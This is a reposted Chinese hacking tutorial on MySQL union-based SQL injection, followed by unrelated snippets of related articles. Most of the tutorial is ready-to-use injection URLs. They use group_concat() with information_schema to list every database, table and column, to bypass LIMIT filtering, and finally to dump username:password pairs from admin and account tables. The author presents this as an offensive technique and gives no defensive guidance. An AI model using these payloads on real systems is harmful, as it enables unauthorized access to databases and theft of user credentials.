对Group_concaT函数利用剖析 (转)

作者:晓华 

 

                                                                                            开篇介绍

      在FLYH4T大哥的“Mysql5注射技巧总结”一文中介绍了通过使用“information_schema”库实现遍历猜解库名表名以及字段名的技术,解决了一些以前使用工具无法猜解到的库名表名以及字段名的问题,提高了注射的效率。关于此文的详细技术细节请参考往期的“黑客手册”。但是通过我的研究,发现这种技巧有一定的缺陷。首先遍历的库名或者表名以及字段名等位置,要使用到limit功能语句来强制返回select查询的记录数。如果在渗透中limit功能语句无法使用,是不是很难进行遍历了?如果被限制的话,可以使用“!=”来绕过。语句使用格式:

show.php?id=2/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5,6,7,8,9,10/**/frominformation_schema.tables/**/where/**/table_schema=database()/**/and/**/table_name/**/!=char(97,100,109,105,110)

虽然这样能够绕过limit的限制,但是利用起来非常不方便,而且猜解的速度很慢。经过我的仔细研究,找到了一个相对比较好的方法。而且解决了limit被限制的问题,更重要的是加速了遍历的速度,明显提高注射的效率。

                                                                 group_concat()函数介绍

 

首先我们来了解一下group_concat()函数,该函数完整语法如下:

GROUP_CONCAT([DISTINCT] expr [,expr ...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] [,col ...]]
[SEPARATOR str_val])

该函数返回一个字符串结果,该结果由分组中的值连接组合而成,这个函数在 MySQL 4.1 中被加入。有兴趣的朋友可以参考“MYSQL5.1参考手册”。

 

普通利用

 

该函数在MYSQL的注射中也有使用的例子,利用方法还只是局限于在一个地方显示一些普通信息,比如显示数据库版本和爆字段数据等。爆版本等信息,执行语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15—如图1

 

 

 

 

爆用户名以及密码等字段信息,执行语句:

news.php?id=-1/**/union/**/select/**/1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12/**/from/**/admin—

这么强悍的函数,我们为什么不深度挖掘它的功能呢?利用它可以干一些不可思议的事,接下来我会介绍如何深度利用这个函数,读者朋友可要仔细了。

 

高级利用

爆全部库名

利用这个函数可以爆出全部的数据库名,构造查询语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(SCHEMA_NAME),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.SCHEMATA--   如图2

 

爆出了所有的数据库名,共有三个。依次为: information_schema cite test

 

爆全部表名

利用这个函数可以爆出全部的表名,如果想爆出cite库的全部表名。构造查询语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.tables/**/where/**/table_schema=0x63697465 其中0x63697465是cite的HEX值。如图3

 

 

如果只是想爆当前库的全部表名,我们不需要将库名进行HEX值转换。可以这样执行语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.tables/**/where/**/table_schema=database()-- 其中database()函数就是显示当前库的信息。如图4

 

爆全部字段名

 

利用这个函数可以爆出全部的字段名,如果想爆出“account”表的全部字段,首先将其进行HEX转换。构造查询语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.columns/**/where/**/table_name=0x6163636F756E74-- 如图5

 

得到二个敏感的字段,依次为:username password

 

爆最终敏感数据

 

有了表和字段等关键信息,我们就可以爆出敏感数据信息。构造查询语句:

news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(username,0x3A,password),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/cite.account-- 如图6

 

总结:灵活运用此函数,能让你充分感受到MYSQL注射的快感。其实也不是什么高深的技术,只不过是将MYSQL5的“information_schema”库与group_concat()函数的综合运用罢了。对本文有任何疑问和有好的建议的朋友,请到黑客手册官方论坛或者岁月联盟找我交换意见,谢谢。

转载于:https://www.cnblogs.com/demonspider/archive/2012/08/01/2618840.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/361311.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用 CSS 实现元素垂直居中,有哪些好的方案?

DIV居中的经典方法 1. 实现DIV水平居中 设置DIV的宽高,使用margin设置边距0 auto,CSS自动算出左右边距,使得DIV居中。 1 div{ 2 width: 100px; 3 height: 100px; 4 margin: 0 auto; 5 } 缺点:需要设置div的宽度 2.…

使用wss和HTTPS / TLS保护WebSocket的安全

是这个博客的第50条提示,是的! 技术提示#49说明了如何使用用户名/密码和Servlet安全机制保护WebSocket的安全。 本技术提示将说明如何在WildFly上使用HTTPS / TLS保护WebSocket。 让我们开始吧! 创建一个新的密钥库&#xff1a…

时钟同步及其应用(接上一篇)

在linux下做的时钟同步的工作终于暂时告一段落了。 前面简单的做了客户端和服务器端的同步,在基于时间同步的机制上,将系统的1s的时间划分多个时槽。由于此时间同步应用在分布式系统中,涉及到多个客户端和服务器通信的问题,因此划…

Java性能调优调查结果(第二部分)

这是系列文章的第二篇,我们将分析2014年10月进行的性能调整调查的结果。如果您尚未阅读第一部分,我们建议从此处开始 。 第二部分将重点监视Java应用程序的性能问题。 特别是,我们尝试回答以下问题: 人们如何发现性能问题&#x…

HDU 2094 产生冠军

判断顶点入度是否唯一即可。如果入度为0的节点只有一个&#xff0c;输出Yes&#xff0c;否则输出No。 代码&#xff1a; 1 #include<iostream>2 #include<cstring>3 4 using namespace std;5 6 int len;7 int map[1001][1001];8 char name[1001][100];9 10 int fu…

简单的css缩放动画,仿腾讯新闻的分享按钮和美团app底部的图标样式

最近看到一些好看的hover的图形缩放效果。然后自己就写了下&#xff0c;发现这2种效果都不错。如果伙伴们更好的实现方式可以在下面留言哦~ 还有美团的效果&#xff0c;我就不展示了&#xff0c;喜欢的可以去app应用上看看。 这两种效果&#xff0c;其实实现的原理是一样的&…

Java性能调优调查结果(第一部分)

我们在2014年10月进行了Java性能调优调查。该调查的主要目的是收集对Java性能世界的见解&#xff0c;以改进Plumbr产品。 但是&#xff0c;我们也很高兴与您分享有趣的结果。 我们收集的数据为进行冗长的分析提供了素材&#xff0c;因此我们决定将结果划分为一系列博客文章。 这…

asp.net ViewState详解

ViewState是一个被误解很深的动物了。我希望通过此文章来澄清人们对ViewState的一些错误认识。为了达到这个目的&#xff0c;我决定从头到尾详细的描述一下整个ViewState的工作机制&#xff0c;其中我会同时用一些例子说明我文章中的观点&#xff0c;结论。比如我会用静态控件(…

OSGi Testsuite:引入类名过滤器

OSGi Testsuite是一个JUnit测试运行程序 &#xff0c;它动态地收集要执行的测试类。 它已经由我的同伴Rdiger大约一年前出版&#xff0c;并且已经在某些项目中证明是有用的。 但是对于gonsole&#xff0c;我们必须使用一个难看的补丁&#xff0c;因为1.0版仅支持.*Test后缀匹配…

javascript数字验证(转)

转自http://www.cnblogs.com/lovelace821/archive/2009/04/27/1444654.html js验证数字 javascript限制输入的只能是数字&#xff0c;判断event.keyCode的值&#xff0c;并将它限定只能为数字&#xff0c;如果不是数字&#xff0c;则返回错误&#xff0c;如果是数字&#xff0c…

需要微缓存吗? 营救记忆

缓存解决了各种各样的性能问题。 有很多方法可以将缓存集成到我们的应用程序中。 例如&#xff0c;当我们使用Spring时&#xff0c;可以轻松使用Cacheable支持。 非常简单&#xff0c;但我们仍然必须配置缓存管理器&#xff0c;缓存区域等。有时&#xff0c;就像用大锤砸破坚果…

es6 对象的扩展

1.属性的简洁表示法function f(x,y) {return {x,y};}// 等同于function f(x,y){return {x:x,y:y};}f(1,2)   // Object {x:1,y:2}例如&#xff1a;let birth 2000/01/01;const Person {name: 张三&#xff0c;// 等同于 birth: birthbirth,// 等同于hello: function()...he…

windows下命令行修改系统时间;修改系统时间的软件

找了很久,都没有找到,还找了关键词 dos下修改系统时间 因为看到linux下修改系统时间是用hwclock 命令写入主板芯片. 而我由于某些原因想自动化修改系统时间,所以找windows下修改系统时间的软件 没有找到. 有一个 意天禁止修改系统时间开发包(系统时间保护组件) 1.0.0.1 ,可以禁…

如何摆脱JavaFX中的重点突出显示

今天&#xff0c;有人问我是否知道摆脱JavaFX控件&#xff08;分别是按钮&#xff09;的焦点突出的方法&#xff1a; 有关此问题的大多数文章和提示建议添加&#xff1a; .button:focused {-fx-focus-color: transparent; }但是使用这种样式&#xff0c;仍然会留下这样的光芒…

extjs 基础部分

创建对象的方法&#xff1a; 使用new 关键字创建对象。 new classname ([config]) 使用Ext.create方法创建。 Ext.create(classname,[config]) new Ext.Viewport({}) 修改为Ext.create(Ext.Viewport,{}) Ext.widget 或Ext.createWidget 创建对象 使用Ext.ns 或者Ext.namespace…

Java时区处理初学者指南

基本时间观念 大多数Web应用程序必须支持不同的时区&#xff0c;而正确处理时区绝非易事。 更糟糕的是&#xff0c;您必须确保各种编程语言&#xff08;例如&#xff0c;前端JavaScript&#xff0c;中间件中的Java和作为数据存储库的MongoDB&#xff09;之间的时间戳是一致的。…

Android工具HierarchyViewer 代码导读(3) -- 后台代码

在上文中&#xff0c;我们讲解了如何把HierarchyViewer的项目导入到Eclipse中&#xff0c;以便更高效阅读代码。本文将讲解HierarchyViewer的后台代码&#xff0c;建议大家可以先阅读<Android工具HierarchyViewer代码导读(1) -- 功能实现演示>一文, 其中的代码演示了Hier…

Extjs 数据代理

Ext.data.proxy.Proxy 代理类的根类 客户端代理&#xff1a; 1.LocalStorageProxy&#xff1a;将数据存储在localStorage中&#xff0c;此种方式可以持久的将数据存储在客户端 要使用代理&#xff0c;我们首先要有一个数据模型类&#xff0c;我们定义一个简单的Person类&…

WildFly 8.2.0.Final版本–更改的快速概述

自从我上次在此博客上写作以来已经有一段时间了。 尽管我有一些我想写博客的主题&#xff0c;但我只是没有足够的时间来做。 在看到JBoss社区成员之一的邮件后&#xff0c;我终于决定今天写这篇文章&#xff0c;检查为什么最近这里没有任何更新&#xff08;感谢检查&#xff0c…

Ph.D Grind 阅读感想 By 张雄

#Ph.D Grind是Xin Zou老师推荐的一本书&#xff0c;邮件里本来说是要在三周内读完的&#xff0c;不料看了个Preface之后再也放不下&#xff0c;最终一口气地看完了。 #看完之后很有感触&#xff0c;之前也阅读过一本讲如何规划研究生涯的书&#xff0c;但是那是一本从教授的角度…